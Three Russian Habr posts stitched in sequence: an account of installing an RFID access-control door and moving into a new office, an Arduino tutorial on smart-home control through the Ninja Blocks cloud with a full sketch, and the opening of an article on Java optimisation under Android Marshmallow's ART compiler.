Электромеханические замки — это почти обычные замки, за исключением того, что открыть их можно, просто подав напряжение на контакты замка. Такой мы и решили ставить.
Далее, нам нужен контроллер — штука, которая будет сверять считанный ключ с ключом в своей памяти и если он совпадает — подавать импульс на замок, чтобы тот открылся. И считыватель, который будет считывать карты и отправлять их номера контроллеру. Иногда их объединяют в один корпус, но такое решение не стоит ставить с внешней стороны двери, иначе, имея немного времени, можно снять крышку контроллера и получив доступ к проводам, вручную подать питание за контакты замка.
Решив для начала разобраться с дверью, мы описали требования к ней(размеры, тип замка) и спросили несколько компаний на счет того, за какую сумму они могут сделать и поставить нам такую дверь. И выбрали, конечно, компанию, которая предложила самую маленькую сумму. О, если бы мы знали, в какие нервы нам обойдется эта экономия, мы бы ни за что не стали выбирать самую маленькую цену. Что-то нехорошее мы заподозрили еще когда к нам мастер для замера пытался доехать почти две недели, придумывая какие-то отмазки каждый раз, как не приезжал.
Но где-то к 21 числу он все-таки доехал, измерил, сказал нам окончательную стоимость, и мы подписали договор. Я оставил все попытки узнать, в каком виде в дверь будет установлен сам замок, потому что менеджеры при попытке узнать это адски путались в показаниях — то у них на двери будет кнопка выхода, то ее не будет, то они и блок питания привезут фирменный, то не привезут. В общем, оказалось, что не привезут — дверь приехала к нам просто с торчащим сбоку проводом.
Приехала, причем, на каком-то убитом пепелаце советского автопрома. Прикрученная веревкой к багажнику. Дверь, напомню, весит порядка центнера. Они всерьез считают, что при резком торможении ее удержит веревка?
Далее. Они пожалели даже упаковочную пленку, рулон которой стоит 200 рублей в любом ОБИ. Дверь и приехала-то не очень чистой, так они и еще ее увязюкали в кирпичной пыли во время установки.
Продолжаем. Приехали два чувака в майках и трениках, у которых на униформе(если бы она была) могла бы по праву красоваться надпись «Слабоумие и отвага». Потому что демонстрировать такое пренебрежение к технике безопасности и полноценной жизни со всеми конечностями — это трудно. Но они сумели. Мало того, что принципиально не использовали никакие очки при работе с болгаркой, так еще и умудрились наступить на выключатель болгарки, когда валялась на полу, и уронить себе на голову кирпич из стены.
Очки, униформа? В п\*\*\*у эту кашу! Смотрите, как лихо я болгаркой е\*\*\*у! Вариант без цензуры можно посмотреть [тут](https://instagram.com/p/2stfgysU45/).
Ну, я не буду говорить о том, что они даже не потрудились за собой подмести кирпичную крошку с пола, не говоря уж о том, чтобы застелить его заранее пленкой.
Зато дверь вся была в милых белых пятнах.
— Что это, спрашиваю я.
— Специальная паста, чтобы отмечать места ригелей.
Я втягиваю воздух носом и чувствую запах мяты. Спрашиваю, паста — зубная, что ли?
— Ну, ээ… Да.
В общем, установили.
Осталось сделать собственно, возможность открывать дверь не только ключом, но еще и с бесконтактных пропусков. Все RFID в основном делятся на две больших категории — LF-диапазона и HF-диапазона. Первый работает на частоте около 125кГц, вторые — около 13МГц. Между собой они не совместимы, а хотелось дать возможность проходить в офис не только по пропускам на территорию(которые имели стандарт EM-Marin, который относится к LF-диапазону), но и по любым другим картам, вроде банковских с PayPass/PayWave или Тройки(а они относятся к стандарту ISO/IEC 14443, который работает на частоте 13МГц).
Для такой возможности нашли универсальный ридер [Matrix III RD-ALL](http://ironlogic.ru/il.nsf/htm/ru_matrix3all), который читает карты и того, и того стандарта:
Кроме него был куплен самый простой контроллер [Z-5R](http://ironlogic.ru/il.nsf/htm/ru_Z5R), и кнопка выхода:
Устанавливаем считыватель, выводим проводами в щиток, где и будет располагаться контроллер:
Подключаем контроллер:
Пока на висящих проводах, в расчете на то, что скоро его заменит более продвинутый контроллер. Добавляем кнопку выхода:
И простой домофон для того, чтобы в дверь можно было позвонить:
Кажется, все хорошо. Работает… работало. Два месяца с установки дверь работала нормально. Потом начались проблемы. Для начала, дверь стала открываться через раз. Проблема была найдена быстро:
Установщики двери не подозревают о том, что не стоит зажимать многожильные провода в винтовые клеммы. О [наконечниках НШВИ](http://geektimes.ru/post/257592/) они тоже не имеют понятия. Переделываем:
Живем нормально следующий месяц. Потом глюки вернулись. Да еще как вернулись — дошло до того, что в один прекрасный момент дверь переставала открываться вообще:
Нет, ее можно было открыть с помощью ключа, но мы по традиции потеряли все ключи, кроме одного, и пока ждали того самого человека с последним ключом — да, залезали через окно. Второго этажа.
Разбирательство с вызовом специалиста, разборкой половины двери, часовыми разговорами с техподдержкой CISA и шаманством вида «а вот у нас есть аккумулятор от шуруповерта, давайте попробуем открыть замок им? Нет? Тогда еще есть аккумулятор от коптера, который 40А выдает, может им?» выявили следующее:
1. Чуваки из компании «Стелс» — не умеют делать двери. Они не то, что не заварили верхнюю часть двери, оставив там дыры внутрь полотна, но и даже не потрудились заделать эти дыры герметиком. «И так сойдет!»
2. Они же не понимают ничего в замках, которые они продают вместе с дверями. Я тоже в них не понимаю. Но я же не продаю!
Оказывается «замку надо 12 вольт, подаете — замок открывается. Блока питания на ампер хватит» отвечает реальности только про «12 вольт». А остальное — не так. Во-первых, ему надо переменное напряжение, а лучше — одиночный импульс. Во-вторых, замку надо 3 ампера минимум, а лучше — специальный бустер от CISA, который представляет собой несложную схему и набор конденсаторов. Он включается в разрыв провода к замку, и при подаче напряжения сначала заряжает конденсаторы, а затем разряжает их на катушку замка, обеспечивая правильный ток и длительность импульса.
3. Я лох и по-прежнему надеюсь на то, что продавец разбирается в своем товаре. Поэтому я не полез уточнять характеристики замка, а удовлетворился ответами «специалистов» компании.
4. Замок более-менее нормально работал, пока был свежий и в смазке. Потом небольшой перекос двери, приработка механизмов и текущая внутри дверного полотна ржавая вода сделали свое дело, и замку перестало хватать тока для открытия двери.
Разбираем дверь, герметизируем, смазываем замок, покупаем и ставим бустер. Дверь начинает работать как часы.
Все хорошо. Но сколько же нервов было потрачено из-за производителей, которые делают по принципу «главное — продать, а там трава не расти». На таких же производителей мы наткнулись, когда делали островок для [нашего магазина в меге](http://habrahabr.ru/company/madrobots/blog/239049/).
Последний штрих, наклеиваем на дверь логотип:
Итак, выводы:
ООО «Стелс», они же [www.stels-dveri.ru](http://www.stels-dveri.ru/), ИНН 5020068165, ОГРН 1115020004747(ключевые слова: отзыв, стелс, стелс-двери, двери стелс, москва) — жадные идиоты, которые даже не способны хорошо поставить дверь, не говоря уж о ее обслуживании. Главное для них — сдать клиенту, а при любых проблемах(по их вине, причем) они посылают, говоря, что они только ставят двери, но не ремонтируют и сливаются. Надеюсь, это предупреждение кого-то спасет от заказа у них.
IronLogic, они же [ironlogic.ru](http://ironlogic.ru/), они же RF Enabled ID Limited, они же ООО «АВС» — компания, делающая крутые контроллеры и считыватели для СКД и СКУД. Только я так и не смог понять, русские они или нет. Техподдержка у них так же хороша.
CISA, они же [www.cisa.ru](http://www.cisa.ru/), они же CISA ALLEGION — компания, которая не только делает крутые замки, но и держит техподдержку, способную часами висеть на телефоне и общаться с глупыми заказчиками, ничего не понимающими в теме, не высказывая раздражения.
#### Глава одиннадцатая. Заключительная, но не окончательная. О переезде, доделках, недоделках и рабочих местах.
Хоть офис и еще не был закончен полностью, мы приняли решение переезжать, чтобы не продолжать платить аренду за старый офис.
Отмываем полы и покрываем их лаком:
Собираемся:
Вызываем машину, перевозим вещи:
Теперь самое скучное — надо расставить их все по своим местам. Для мотивации сотрудников привозим коробку с печеньками. Кто разобрался — тому вкусняшку.
Временно испытываем нехватку рабочих мест. Делаем все что можно:
"[Пуфусы](http://www.artlebedev.ru/everything/pufus/)" -— крутые. На них можно не только работать стоя, но собрать кровать:
Правда, это не гарантирует, что коллеги не обрушат на тебя стенку:
Зато всем весело.
Ставим внутренние двери. В зону отдыха, которая стала переговоркой:
И на кухню. С кухней вышел небольшой фейл. Дизайнеры неправильно поняли процесс установки двери, и в итоге дверной проем без двери был достаточно широкий:
А вот с дверью уже не очень:
Ставим кухонный гарнитур:
Еще один фейл дизайнеров — розетки оказались под боковой стенкой шкафчика. Смотреть на нее никто и не будет, но неаккуратно же.
Наступает лето, становится жарко. Тропинка в офис смотрит безумно красиво, но идти по ней не хочется — в офисе жарко и душно.
Защищаемся от яркого солнца, ставя рулонные шторы:
И опять передаю привет дизайнерам, которые решили, что на кухне нет смысла ставить шторы, потому что там никто не работает. В итоге там в солнечные дни начинается ужасная парилка, такая, что холодильник начинает размораживаться.
Когда становится еще жарче, задумываемся об установке кондиционеров. Долго думать не получается — температура с каждым днем растет. Поэтому решаем вопрос быстро. Вызываем чуваков с кондиционерами. Они сверлят дырку в стене:
В офисе становится шумно, поэтому сотрудники набиваются в переговорку как селедки в бочку:
Рабочие тем временем монтируют внутренний блок:
Собирают леса для монтажа внешнего:
И ставят его:
Красота. Правда, в баллончике кончилась краска, и трасса, которая должна была быть покрашена в цвет стены, получается красно-белой. Упс.
Второй кондиционер устанавливаем аналогично.
Делаем важную вещь: вешаем турник.
Правда, подушки на турнике кожаные. Поэтому, если турник не снять в дождь, они будут долго сохнуть. Каждый ливень все сотрудники бросают жребий, кого отправить на улицу на этот раз, и собираются с чипсами у монитора видеонаблюдения, чтобы посмотреть на этого ~~неудачника~~ героического человека.
Еще ставим несколько IP-камер(про это я еще напишу отдельную статью) для видеонаблюдения, и лампу над входом:
И можно наконец-то оглянуться вокруг, понять, что мы все-таки сделали этот офис и как следует отпраздновать это.
С новосельем! А в честь этого самого нашего новоселья, мы всем, кто смог дочитать до конца, дарим скидку 7% по коду [MADOFFICE](http://madrobots.ru). Действует до 7 октября. | https://habr.com/ru/post/384271/ | null | ru | null |
# Делаем управление «Умным домом» через интернет за пару минут
Доброго дня. У многих из нас, в том числе и у меня, давно возникла идея создания своего «Умного дома». Но она откладывалась в виду большой сложности реализации как с аппаратной стороны так и со стороны программного обеспечения, что требовало от её создателя быть «гуру» во многих областях.
В этой статье я расскажу вам об очень простом и вполне функциональном способе управления системой умного дома через интернет. На её создание при наличии необходимых компонентов уйдет всего несколько минут.
Заинтригованы? Прошу под кат.
Однажды рыская по интернету в поисках информации про «Умные дома» наткнулся на интересное видео, где мужчина в белом халате показывал как управлять ARDUINO через интренет. Позже оказалось, что этот мужчина один из разработчиков проекта на kickstarter.com под названием Ninja Blocks.
Вот, то самое видео.
Ninja Blocks — очень интересный и довольно успешный проект, который предлагает управление и контроль большой периферией домашних устройств с помощью своего модуля ( который они предлагают купить за 199 «вражеских» единиц). Модуль взаимодействует с облаком, через которое и происходит управление устройствами. Так же существуют приложения для iOS и Android с помощью которых также возможно управление.
Разработчики Ninja Blocks не поленились и написали свою библиотеку для ARDUINO за что им большое СПАСИБО!
Облако не совсем простое, оно не только посылает и принимает данные, то также поддается программированию со стороны пользователя, который создает так называемые ПРАВИЛА. Таким образом облако становиться онлайн «мозгом» «Умного дома».
НАПРИМЕР: при нажатии на кнопку, облако ждет 30 секунд, а потом влючает какое-либо реле, ждет еще 60 секунд и выключает его.
Правила легко создаются из панели управления.
Для повторения его примера нужен был Ethetnet Shield. На тот момент в моем распоряжении быт модуль на базе enc28j60. Но как я ни пытался повторить пример с использованием разных библиотек, так ничего и не получалось. Необходим был модуль совместимый с родной Ethernet библиотекой для ARDUINO т.е. на базе чипа w5100. Шилд был заказан из поднебесной и всё было отложено на долгий месяц.
Если вы уже посмотрели видео выше, то поняли что нам потребуется:
— совместимая плата ARDUINO
— thernet shield на базе w5100
— аккаунт на сайте [a.ninja.is](https://a.ninja.is)
— разная мелочевка в виде резисторов, кнопок и светодиодов
И так. Плата пришла. Все собрал, подключил, загрузил.
Это было удивительно, но все заработало )) Но всегда бывает «НО». Буквально через пару минут заметил, что светодиод перестал реагировать на управление через сайт. Перезагрузка контроллера помогла, но только на те же пару минут. При этом кнопка всегда работала испаравно. Да это была серьезная проблема с которой «Умный дом» не построить.
После изучения данного примера возникло несколько вопросов:
1. Как управлять несколькими устройствами принимающих данные (светодиодами)?
2. Как добавить несколько устройств, отсылающих данные( кнопка, датчик температуры)?
3. Как починить управление для светодиодов через панель, которое «отваливается» через пару минут?
Поиск начался с не очень популярного раздела на [форуме разработчиков](http://forums.ninjablocks.com/) с названием ARDUINO. Тут было найдено решение для исправление проблемы с управлением. Одни из участников форума доработал библиотеку проекта. Самое удивительное, так это то что за пол года разработчики так и не обновили библиотеку на github. Видно опасаются конкуренции для себя со стороны проектов на базе Arduino )).
Ниже вы сможете скачать уже исправленную библиотеку.
Несколько часов опытов и изучения смазанных объяснений разработчиков на форуме и библиотеки дали свои плоды. Все вопросы были успешно решены… =)
И так теперь по делу.
Библиотека для Arduino занимается, только приемом и отправкой данных.
Основным параметром в данных является ID устройства к которому обращается сервер или от которого принимает информацию. Посмотреть полный список можно здесь. [ninjablocks.com/pages/device-ids](http://ninjablocks.com/pages/device-ids) Каждому ID соответствует свой виджет в панели управления.
В Serial Monitor передача или прием одной команды или данных выглядит таким образом:
```
{"GUID": "ETHERSHIELDBLOCK_0_0_1","G": "0","V": 0,"D": 1,"DA": 27}
```
Теперь рассмотрим что там внутри.
**«G»: «0»** — параметр GUID указывает порядковый номер в рамках группы устройств с одинаковым ID. Например установлено 3 датчика температуры с одинаковым ID = 1. Тогда для первого датчика GUID будет равен 0, для второго — 1 и 2 для третьего.
**«V»: 0** — параметр VID является идентификатором для устройств как и ID.
**«D»: 1** — параметр DID ( Device ID) указывает тип устройтсва. Напримет датчик температуры имеет ID=1 или 31, кнопка — 5.
**«GUID»: «ETHERSHIELDBLOCK\_0\_0\_1»** — трудно сказать для чего это надо, но в общем он содержит в себе название блока ARDUINO (котрое можно изменить в начале примера из библиотеки) и всех выше пересичленные параметры.
**«DA»: 27** — ну и сами данные, которые мы передаем. Для кнопки или реле это 0 или 1, для RGB светодиода это код цвета например FFFFFF.
Условно все датчики и устройства можно разделить на два типа. Первый тип только передают информацию ( кнопка, датчик температуры и влажности). И второй тип только принимают её. Тут кроется один нюанс. Панель управления изначально не знает что у нас подключено к контроллеру. И если первый тип сам сообщат о себе, когда будут передавать данные и панель сразу создаст для них виждет согласно их ID. То для второго типа необходимо произвести создание виджетов в панели управления путем отправки данных.
Как отправлять данные с нескольких устройств с одинаковым ID.
Все очень просто перед каждой отправкой данных мы должны указать порядковый номер устройства (GUID)
```
NinjaBlock.guid = "1"; // указываем порядковый номер датчика 0 для 1-го, 1 для 2-го и т.д.
NinjaBlock.deviceID=(1); // указывает ID в данном случае термометр
NinjaBlock.send("24"); // отправляем данные
```
При приеме данных для нескольких устройств c одинаковым ID нам необходимо проверять чему равен GUID
```
if (strcmp(NinjaBlock.strGUID,"1") == 0) // проверяем равен ли GUID 1 для второго устройства
```
Вернемся к устройствам второго типа. Для создания виджета в панели управления достаточно всего лишь раз отправить данные от его имени. Создадим виджет с переключателем ON/OFF для каждого из двух светодиодов написав в цикле void setup следующее:
```
NinjaBlock.guid = "0";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
NinjaBlock.guid = "1";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
```
Получив эти данные панель создаст для них виджет.
Теперь предлагаю вашему вниманию простую программу для работы с Ninja Blocks.
— Управляет 4-я светодиодами
— Отсылает показания 2-х датчиков температуры ds18b20 c интервалом в 60 секунд
— Каждые 20 секунд синхронизирует положение переключателей ON/OFF с состоянием светодиодов. Так как панель управления никак не следит дошли ли данные до контроллера и поэтому иногда бывает что на панели положение ON а на самом деле выход выключен. Данный способ позволяет каждые 20 секунд устанавливать переключатели в панели в правильно положение если до этого они стояли не верно.
— Подключена кнопка, при нажатии на которую выполняется запрограммированный сценарий.
**Код программы**
```
#include
#include
#include
//#include
#define DEFAULT\_VENDOR\_ID 0 // ID по умолчанию
#define LED\_DEVICE\_ID 1002 // ID для светодиодов определили их как выключатель с 2-я положениями вкл и выкл
#define BUTTON\_DEVICE\_ID 5 // ID для кнопки
#define TEMP\_ID 1 // ID для датчиков температуры
#include
#include // библиотека для тачика температуры ds18b20
#define ONE\_WIRE\_BUS 2 // подключаем дачик к 2 цифровому выводу
#define ENABLE\_SERIAL false // отключаем serial monitor
byte button = 5;
byte led\_1 = 7;
byte led\_2 = 6;
byte led\_3 = 4;
byte led\_4 = 3;
boolean isButtonDown = false;
int time =500; // переменная для отсчета времени для датчиков температуры
int timeup=500; // переменная для синхронизации кнопок
OneWire oneWire(ONE\_WIRE\_BUS);
DallasTemperature sensors(&oneWire);
void setup(){
sensors.begin(); // инициализируем датчики температуры
pinMode(button, INPUT); // конфигурируем входа и выхода контроллера
pinMode(led\_1, OUTPUT);
pinMode(led\_2, OUTPUT);
pinMode(led\_3, OUTPUT);
pinMode(led\_4, OUTPUT);
#if ENABLE\_SERIAL
Serial.begin(9600);
Serial.println("Starting..");
#endif
delay(1000); // This delay is to wait for the Ethernet Controller to get ready
NinjaBlock.host = "api.ninja.is";
NinjaBlock.port = 80;
NinjaBlock.nodeID = "ETHERSHIELDBLOCK"; // имя для вашего блока
NinjaBlock.token = "ВАШНОМЕРс САЙТА"; // Get yours from https://a.ninja.is/hacking вписывем ваш код
NinjaBlock.guid = "0";
NinjaBlock.vendorID=DEFAULT\_VENDOR\_ID;
NinjaBlock.deviceID=LED\_DEVICE\_ID;
NinjaBlock.deviceID=TEMP\_ID;
if (NinjaBlock.begin()==0) // подключаемся к облаку
NinjaBlock.guid = "0"; // отсылаем данные от имени 2-х позиционного выключателя и создаем виджет в панели для 1-го светодиода
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
NinjaBlock.guid = "1"; // для 2-го
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
NinjaBlock.guid = "2"; // для 3-го
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
NinjaBlock.guid = "3"; // для 4-го
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
}
void loop() {
// СИНХРОНИЗАЦИЯ ПОЛОЖЕНИЯ КНОПОК//
if ( timeup == 1) // проверяем пришло ли время для проверки ( каждые 20 секунд)
{
if( digitalRead(led\_1)== HIGH) // если светодиод 1 включен
{
NinjaBlock.guid = "0"; // указываем порядковый номер светодиода
NinjaBlock.deviceID=(1002); // его ID
NinjaBlock.send("1"); // отсылаем 1 , что обозначает включен
}
if(digitalRead(led\_1)== LOW) // если светодиод 1 выключен повторяем что и выше, только отсылаем 0
{
NinjaBlock.guid = "0";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
Serial.println( " Led-1 OFF UPdate");
}
if(digitalRead(led\_2)== HIGH)
{
NinjaBlock.guid = "1";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("1");
Serial.println( " Led-2 ON UPdate");
}
if(digitalRead(led\_2)== LOW)
{
NinjaBlock.guid = "1";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
Serial.println( " Led-2 OFF UPdate");
}
if(digitalRead(led\_3)== HIGH)
{
NinjaBlock.guid = "2";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("1");
Serial.println( " Led-3 ON UPdate");
}
if(digitalRead(led\_3)== LOW)
{
NinjaBlock.guid = "2";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
Serial.println( " Led-3 OFF UPdate");
}
if(digitalRead(led\_4)== HIGH)
{
NinjaBlock.guid = "3";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("1");
Serial.println( " Led-4 ON UPdate");
}
if(digitalRead(led\_4)== LOW)
{
NinjaBlock.guid = "3";
NinjaBlock.deviceID=(1002);
NinjaBlock.send("0");
Serial.println( " Led-4 OFF UPdate");
}
timeup=2000;
}
// END - СИНХРОНИЗАЦИЯ ПОЛОЖКЕНИЯ КНОПОК//
timeup= timeup-1; // уменьшаем переменную для проверки кнопок
delay(1);
// ПРИНИМАЕМ ДАННЫЕ ДЛЯ СВЕТОДИОДОВ//
if(NinjaBlock.receive()) { // если нам прислали данные
// структура данных
// Return values are:
// NinjaBlock.strGUID
// NinjaBlock.intVID
// NinjaBlock.intDID
// NinjaBlock.intDATA - if data is integer
// NinjaBlock.strDATA - if data is string (note char[64])
if (NinjaBlock.IsDATAString) {
//Serial.print("strDATA=");
//Serial.println(NinjaBlock.strDATA);
if (NinjaBlock.intDID == 1002) // Проверяем нашим ли светодиодам адресованы данные т.е. совпадает ли с нашим ID
{
if (strcmp(NinjaBlock.strGUID,"0") == 0) // Проверяем какому именно светодиоду из 4-х пприслали данные т.е. сравниваем GUID
{
if (strcmp(NinjaBlock.strDATA,"1") == 0) // если GUID совпал , то смотрим что нам примлали и действуем согласно данным
{ // нам прислали 1 значит будем включать светодиод
digitalWrite(led\_1, HIGH);
}
else if (strcmp(NinjaBlock.strDATA,"0") == 0) // прислали 0 - выключаем
{
digitalWrite(led\_1, LOW);
}
}
if (strcmp(NinjaBlock.strGUID,"1") == 0) // то же самое только для 2-го светодиода
{
if (strcmp(NinjaBlock.strDATA,"1") == 0)
{
digitalWrite(led\_2, HIGH);
}
else if (strcmp(NinjaBlock.strDATA,"0") == 0)
{
digitalWrite(led\_2, LOW);
}
}
if (strcmp(NinjaBlock.strGUID,"2") == 0) // то же самое только для 3-го светодиода
{
if (strcmp(NinjaBlock.strDATA,"1") == 0)
{
digitalWrite(led\_3, HIGH);
}
else if (strcmp(NinjaBlock.strDATA,"0") == 0)
{
digitalWrite(led\_3, LOW);
}
}
if (strcmp(NinjaBlock.strGUID,"3") == 0) // то же самое только для 4-го светодиода
{
if (strcmp(NinjaBlock.strDATA,"1") == 0)
{
digitalWrite(led\_4, HIGH);
}
else if (strcmp(NinjaBlock.strDATA,"0") == 0)
{
digitalWrite(led\_4, LOW);
}
}
}
}
}
// ОТПРАВЛЯЕМ ДАННЫЕ С КНОПКИ//
if (digitalRead(button) == HIGH) { // если кнопка нажата
if (!isButtonDown) { // и до этого была отжата
#if ENABLE\_SERIAL
Serial.println("Button Down");
#endif
NinjaBlock.guid = "0"; // отправляем порядковый новер
NinjaBlock.deviceID=5; // отправляем ID кнопки 5
NinjaBlock.send(1); // Отправляем данные 1 - нажата
isButtonDown = true; // записываем последнее значение нажата
}
} else {
if (isButtonDown) { // если кнока была раньше нажата
#if ENABLE\_SERIAL
Serial.println("Button Up");
#endif
NinjaBlock.guid = "0"; // отправляем порядковый новер
NinjaBlock.deviceID=5; // отправляем ID кнопки 5
NinjaBlock.send(0); // Отправляем данные 0 - отжата
isButtonDown = false; // записываем последнее значение - отжата
}
}
if (time==1) // проверяем пришло ли время отправлять данные термодатчиков в обоако ( раз в 60 сек)
{
sensors.requestTemperatures(); // запрашиваем показания датчиков
Serial.println(sensors.getTempCByIndex(0));
NinjaBlock.guid = "0"; // отправляем порядковый номер
NinjaBlock.deviceID=(1); // отправляем ID
NinjaBlock.send(sensors.getTempCByIndex(0)); // отправляем показания первого датчика
Serial.println(sensors.getTempCByIndex(1)); // здесь то же самое
NinjaBlock.guid = "1";
NinjaBlock.deviceID=(1);
NinjaBlock.send(sensors.getTempCByIndex(1));
time=6000; // обновляем переменную для датчиков
}
time=time-1; // уменшаем переменную с каждым циклом
delay (9);
}
```
Постарался обеспечить код подробными комментариями.
Подготовил небольшое демонстрационное видео
Подведем небольшой итог.
**Достоинства:**
— Управление и котроль из любой точки мира ( при наличии интренета)
— Собирается и настраивается за считанные минуты.
— Очень простой и недорогой
— Наличие специальных сценариев
— Широкий перечень виджетов в панели управления.
— Если добавить роутер TP-Link TL-MR3020 (20$) и 3G модем, то можно использовать на даче и других местах без интернета.
— Если нет желания тянуть сетевой кабель, то достаточно купить за 15$ TP-Link TL-WR702N, который будет работать в качестве wi-fi шилда
— Хорошая стабильность в работе. За 2 дня тестирования не потерялась ни одна команда все работает четко.
**Недостатки:**
— Самый главный минус этой системы это невозможность работы без интренета.
— Имеется задержка при включении колеблется от долей секунды до нескольких
— Библиотека кушает много места — целых 16 кБ, если добавить библиотеку для nrf24l01 то ничего почти не остается. Придется переходить на Mega скорее всего.
— Приложение для смартфонов не позволяет просматривать показание датчиков. Управление устройствами сделано не очень удобно, не видно текущего состояния on/off.
**Планы на будущее:**
— Дописать в коде проверку соединения и в случае его отсутствия Arduino будет действовать самостоятельно и будет перезагружать TP-Link TL-MR3020 и 3G модем если работает с ними в связке.
— Добавить nrf24l01 для управления и контроля других датчиков.
Очень интересно услышать ваше мнение и конструктивную критику. Оригинальные вопросы приветствуются! Фух…
ФАЙЛЫ:
[Исправленная библиотека.](https://cloud.mail.ru/public/b8c8fcab9d48/NinjaBlockEthernet.zip)
P.S. Во время работы чип w5100 на Etherten Shield сильно нагревается до температуры около 45-50 градусов. Это нормально?
Узнать текущую температуру моего Shield можно [здесь](http://temperature-widget.herokuapp.com/get/code/ETHERSHIELDBLOCK_1_0_1/c4b9ffa868f37e7d02a01151748892b8bcf10e78). | https://habr.com/ru/post/219107/ | null | ru | null |
# Оптимизация Java-кода в Android Marshmallow
[](https://habrahabr.ru/company/intel/blog/300934/) Повышение производительности системы, улучшение впечатлений пользователей от работы с приложениями: вот направления, в которых развивается Android. В Android Marshmallow можно обнаружить множество новых функций и возможностей. В частности, речь идёт о серьёзных усовершенствованиях Android Runtime (ART). Они направлены на производительность, потребление памяти и многозадачность.
Вышел новый релиз платформы? Изменилась виртуальная машина Android? Любое из этих событий означает, что разработчику нужно срочно понять суть новшеств. А именно, надо разобраться с тем, какие методы, позволявшие достичь высокой производительности решений в прошлом, теперь уже не так эффективны. Нужно найти новые подходы к разработке приложений, способные дать наилучшие результаты. О подобных тонкостях почти не пишут, поэтому разработчикам приходится выяснять всё это методом проб и ошибок.
Сегодня мы расскажем о том, как писать быстрые и удобные программы с учётом особенностей обновлённой Android Runtime. Наши советы нацелены на повышение производительности и улучшение качества машинного кода, который генерируется из Java-текстов. Так же мы поговорим об особенностях низкоуровневой оптимизации, которая не всегда зависит от исходного Java-кода приложения.
Java-код, повышение производительности и ART
--------------------------------------------
Android – система с довольно сложным внутренним строением. Один из её элементов – компилятор, который преобразует Java-код в машинные команды, например, на устройствах, основанных на процессорах Intel. Android Marshmallow включает в себя оптимизирующий компилятор (Optimizing compiler). Этот новый компилятор оптимизирует Java-приложения, создаёт код, который отличается большей производительностью, чем тот, который выдавал быстрый компилятор (Quick compiler) в Android Lollipop.
В Marshmallow практически все приложения готовят к исполнению с использованием оптимизирующего компилятора. Однако, для методов Android System Framework по-прежнему используют быстрый компилятор. Делается это для того, чтобы дать Android-разработчикам больше возможностей по отладке.
Точность, скорость и математические библиотеки
----------------------------------------------
Для организации вычислений с плавающей точкой можно воспользоваться различными реализациями одних и тех же операций. Так, в Java доступны библиотеки Math и StrictMath. Они предлагают разные уровни точности при проведении вычислений с плавающей точкой. И, хотя StrictMath позволяет получать более предсказуемые результаты, в большинстве случаев вполне достаточно библиотеки Math. Вот метод, в котором вычисляется косинус.
```
public float myFunc (float x) {
float a = (float) StrictMath.cos(x);
return a;
}
```
Здесь мы воспользовались соответствующим методом из библиотеки StrictMath, но, если потеря точности вычислений приемлема для конкретного проекта, в похожей ситуации вполне можно использовать и Math.cos(x). Выбирая подходящую библиотеку стоит учесть то, что класс Math оптимизирован в расчёте на использование библиотеки Android Bionic для архитектуры Intel. В результате операции из Math выполняются в 3,5 раза быстрее, чем аналогичные из StrictMath.
В некоторых ситуациях, безусловно, не обойтись без StrictMath, замена его на Math нежелательна. Но, повторимся, в большинстве случаев вполне можно пользоваться Math. Выбор конкретной библиотеки – это не абстрактный поиск компромисса между скоростью и точностью. Здесь следует как можно более полно учесть требования проекта – от особенностей алгоритма и его реализации, до аппаратной платформы, на которой планируется использовать приложение.
Поддержка рекурсивных алгоритмов
--------------------------------
Рекурсивные вызовы в Marshmallow более эффективны, нежели в Lollipop. Когда пишется рекурсивный код для Lollipop, всегда производится загрузка данных из DEX-кэша. В Marshmallow то же самое берётся из исходного списка аргументов, а не перезагружается из кэша. Конечно, чем больше глубина рекурсии – тем заметнее разница в производительности между Lollipop и Marshmallow. Однако, если алгоритм, реализованный рекурсивно, можно переписать итеративно, его производительность в Marshmallow будет выше.
Устранение проверки на выход за границу для одного массива: array.length
------------------------------------------------------------------------
Оптимизирующий компилятор в Marshmallow позволяет, в некоторых случаях, избегать проверку на [выход за границу массива](https://en.wikipedia.org/wiki/Bounds-checking_elimination) (Bound Check Elimination, BCE).
Взглянем на пустой цикл:
```
for (int i = 0; i < max; i++) { }
```
Переменную i называют [индуктивной переменной](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D0%B4%D1%83%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D0%B0%D1%8F_%D0%BF%D0%B5%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F) (Induction Variable, IV). Если такая переменная используется для организации доступа к массиву и цикл проходит по всем его элементам, проверку можно не выполнять, если переменная max явно установлена в значение, соответствующее длине массива.
Рассмотрим пример, в котором в коде используется переменная size, играющая роль максимального значения для индуктивной переменной.
```
int sum = 0;
for (int i = 0; i < size; i++) {
sum += array[i];
}
```
В примере индекс элемента массива i сравнивается с переменной size. Предположим, что size либо задана за пределами метода и передана ему в качестве аргумента, либо определена где-то внутри метода. В любом из этих случаев компилятор будет не в состоянии сделать вывод о том, соответствует ли значение в переменной size длине массива. В результате такой вот неопределённости, компилятору придётся сгенерировать код проверки на выход значения i за границы массива, который попадёт в исполняемый файл и будет выполняться при каждой операции доступа к массиву.
Переделаем цикл так, чтобы компилятор избавился от проверки на выход за границы массива в исполняемом коде.
```
int sum = 0;
for (int i = 0; i < array.length; i++) {
sum += array[i];
}
```
Устранение проверки на выход за границы для нескольких массивов
---------------------------------------------------------------
В предыдущем разделе мы рассмотрели простейший случай оптимизации и то, что нужно сделать, чтобы компилятор сгенерировал код, в котором нет проверок выхода за границу массива. Однако, существуют алгоритмы, в которых в одном и том же цикле обрабатывается несколько разных массивов, имеющих одну и ту же длину. Например, если обрабатывать в цикле два массива, компилятору придётся выполнять для каждого из них проверку на null и на выход за границы.
